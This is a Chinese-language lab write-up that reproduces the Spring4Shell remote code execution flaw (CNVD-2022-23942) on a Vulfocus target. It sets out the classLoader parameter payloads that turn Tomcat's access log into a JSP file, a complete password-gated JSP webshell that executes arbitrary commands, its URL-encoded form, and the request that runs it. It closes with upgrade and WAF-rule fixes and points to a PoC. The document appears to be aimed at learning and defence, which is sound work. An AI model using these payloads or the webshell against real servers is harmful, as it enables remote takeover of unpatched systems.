一、漏洞概述
2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。
二、影响版本
1、JDK9+
2、Spring Framework
三、漏洞原理
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
漏洞触发条件如下:
使用JDK9及以上版本的Spring MVC框架
Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
CachedIntrospectionResults.class
————大佬链接:https://www.freebuf.com/vuls/326878.html
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境


2.构造payload
1 2 3 4 5 6 7 | class .module.classLoader.resources.context.parent.pipeline.first.pattern=rce_20220329 (写入shell内容)
class .module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp(修改tomcat配置日志文件后缀jsp)
class .module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT(写入shell在网站根目录)
class .module.classLoader.resources.context.parent.pipeline.first.prefix=shell(写入shell文件名称)<br><br> class .module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(文件日期格式(实际构造为空值即可))
|
3.逐一发送构造的payload

4.访问192.168.117.131:52410/shell.jsp,出现shell内容,写入成功

5.将构造webshell,并解析
①写入根目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | ( 1 )构造webshell
<%
if ( "w" .equals(request.getParameter( "pwd" )))
{ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "cmd" )).getInputStream();
int a = - 1 ;
byte [] b = new byte [ 2048 ];
while ((a=in.read(b))!=- 1 )
{ out.println( new String(b)); }
}
%>
————但不知道为什么,这样编码后的页面显示全是 "???" 。是鄙人才疏学浅了,这里用大佬的构造方法(大佬链接:https: //blog.csdn.net/weixin_45632448/article/details/124190382)
%{c2}i
if ( "w" .equals(request.getParameter( "pwd" )))
{ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter( "cmd" )).getInputStream();
int a = - 1 ;
byte [] b = new byte [ 2048 ];
while ((a=in.read(b))!=- 1 )
{ out.println( new String(b)); }
} %{suffix}i
把下面的写入包中
suffix:%> //
c1:Runtime
c2:<%
( 2 )url编码webshell
if % 28 %22w% 22 .equals%28request.getParameter% 28 %22pwd% 22 % 29 % 29 % 29 %0A%0A%7B%20java.io.InputStream%20in% 20 %3D% 20 % 25 %7Bc1%7Di.getRuntime% 28 % 29 .exec%28request.getParameter% 28 %22cmd% 22 % 29 % 29 .getInputStream% 28 % 29 %3B%0A%0Aint%20a% 20 %3D% 20 - 1 %3B%0A%0Abyte%5B%5D%20b% 20 %3D%20new%20byte%5B2048%5D%3B%0A%0Awhile% 28 %28a%3Din.read%28b% 29 % 29 % 21 %3D- 1 % 29 %0A%0A%7B%20out.println%28new%20String%28b% 29 % 29 %3B% 20 %7D%0A%0A%7D% 20 % 25 %7Bsuffix%7Di
|
②构造GET请求的包

6.访问http://192.168.117.131:52410/shell.jsp?pwd=w&cmd=ls /tmp获取flag

7.完结撒花

六、修复方法
升级Spring Framework 版本
Spring Framework == 5.3.18 Spring Framework == 5.2.20
临时防御方案:
1、 WAF防御。
可以在WAF中添加以下规则对特殊输入的字符串进行过滤:
Class.* class.* *.class.* *Class.*
2、通过黑名单策略进行防护。
您可在受影响产品代码中搜索@InitBinder注解,判断方法体内是否有dataBinder.serDisallowerFields方法,若发现存在该方法,则在黑名单中添加如下过滤规则:
Class.* class.* *.class.* *Class.*
七、Poc
补一下写的Poc:Poc_CVE-2022-22965 - wavesky - 博客园
Github:Poc/Remote_code_execution at main · wave-to/Poc · GitHub